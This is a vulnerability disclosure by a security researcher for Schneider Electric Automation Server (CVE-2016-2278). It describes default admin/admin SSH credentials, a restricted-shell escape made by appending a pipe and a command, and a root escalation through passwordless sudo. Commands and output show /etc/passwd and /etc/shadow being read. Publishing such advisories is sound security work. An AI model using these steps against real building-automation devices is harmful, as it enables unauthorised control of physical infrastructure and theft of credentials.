Schneider Electric SBO / AS – Multiple Vulnerabilities
*# Exploit Title: [*Schneider Electric SBO / AS Multiple Vulnerabilities] # Discovered by: Karn Ganeshen # Vendor Homepage: [www.schneider-electric.com*] * *# Versions Reported: [* Automation Server Series (AS, AS-P), v1.7 and prior *] * # CVE-ID: [CVE-2016-2278] About Schneider Electric’s corporate headquarters is located in Paris, France, and it maintains offices in more than 100 countries worldwide. The affected product, Automation Server, is a building automation system for small and medium-sized buildings. According to Schneider Electric, Automation Server is deployed in the Commercial Facilities sector. Schneider Electric estimates that this product is used worldwide. *Vulnerabilities* *1. Weak credential management* CVE-ID: None [ Mitre, CVE? ] There are two primary users: a. root - password is not set by default - this is a problem as we will see later in the vuln findings - By default, root cannot SSH in. b. admin - default password is 'admin' - Anyone can remotely ssh in to the device using default admin/admin login. The system / application allows a) weak creds to start with, and more importantly, b) vulnerable versions lacks the mechanism to forcefully have the user change the initial password on first use or later. This has been fixed in the latest version. *2. OS Command Injection* *CVE-ID*: CVE-2016-2278 *https://ics-cert.us-cert.gov/advisories/ICSA-16-061-01 <https://ics-cert.us-cert.gov/advisories/ICSA-16-061-01>* After logging in to the device over SSH, the 'admin' user - the only active, administrative user at this point - is provided a restricted shell (msh), which offers a small set of, application- specific functional options. $ ssh <IP> -l admin Password: Welcome! (use 'help' to list commands) admin@box:> admin@box:> *release* NAME=SE2Linux ID=se2linux PRETTY_NAME=SE2Linux (Schneider Electric Embedded Linux) VERSION_ID=0.2.0.212 admin@box:> admin@box:> help usage: help [command] Type 'help [command]' for help on a specific command. Available commands: exit - exit this session ps - report a snapshot of the current processes readlog - read log files reboot - reboot the system setip - configure the network interface setlog - configure the logging setsnmp - configure the snmp service setsecurity - configure the security settime - configure the system time top - display Linux tasks uptime - tell how long the system has been running release - tell the os release details Attempting to run any different command will give an error message. However, this restricted shell functionality (msh) can be bypassed to execute underlying system commands, by appending '| <command>' to any of the above set of commands: admin@box:> *uptime | ls* bin home lost+found root sys config include mnt run tmp dev lib opt sbin usr etc localization proc share var At this point, basically you have full (indirect) control over the server. admin@box:> *uptime | cat /etc/passwd * root:x:0:0:root:/:/bin/sh daemon:x:2:2:daemon:/sbin:/bin/false messagebus:x:3:3:messagebus:/sbin:/bin/false ntp:x:102:102:ntp:/var/empty/ntp:/bin/false sshd:x:103:103:sshd:/var/empty:/bin/false app:x:500:500:Linux Application:/:/bin/false admin:x:1000:1000:Linux User,,,:/:/bin/msh admin@box:> uptime | cat /etc/group root:x:0: wheel:x:1:admin daemon:x:2: messagebus:x:3: adm:x:5:admin power:x:20:app serial:x:21:app cio:x:22:app lon:x:23:app daemonsv:x:30:admin,app utmp:x:100: lock:x:101: ntp:x:102: sshd:x:103: app:x:500:admin admin:x:1000:admin *3. Privilege Escalation / access to superuser 'root'* CVE-ID: None [ Mitre, CVE? ] Since this is an administrative user, an attacker can exploit OS command injection to perform a variety of tasks from msh shell. But isn’t it better to get a root shell instead.! As observed from Issue 1 above, root does not have a password set, and it is possible to use 'sudo -i' and become root. *Note*: sudo is not presented / offered to 'admin' in the set of functional options available thru msh. It is required for tech guys / legit admins / SBO admins to manage the AS system and related functionality. Assumption from SE team is, a low-skilled attacker / regular, unsophisticated, non-technical user will not be able to figure it out. If someone does figure it out, he/she will be responsible enough not to go evill.! admin@box:> *sudo -i* We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. Password: root@box:~> cat /etc/shadow root:!:16650:0:99999:7::: sshd:!:1:0:99999:7::: admin:$6$<hash>:16652:0:99999:7::: +++++ -- Best Regards, Karn Ganeshen |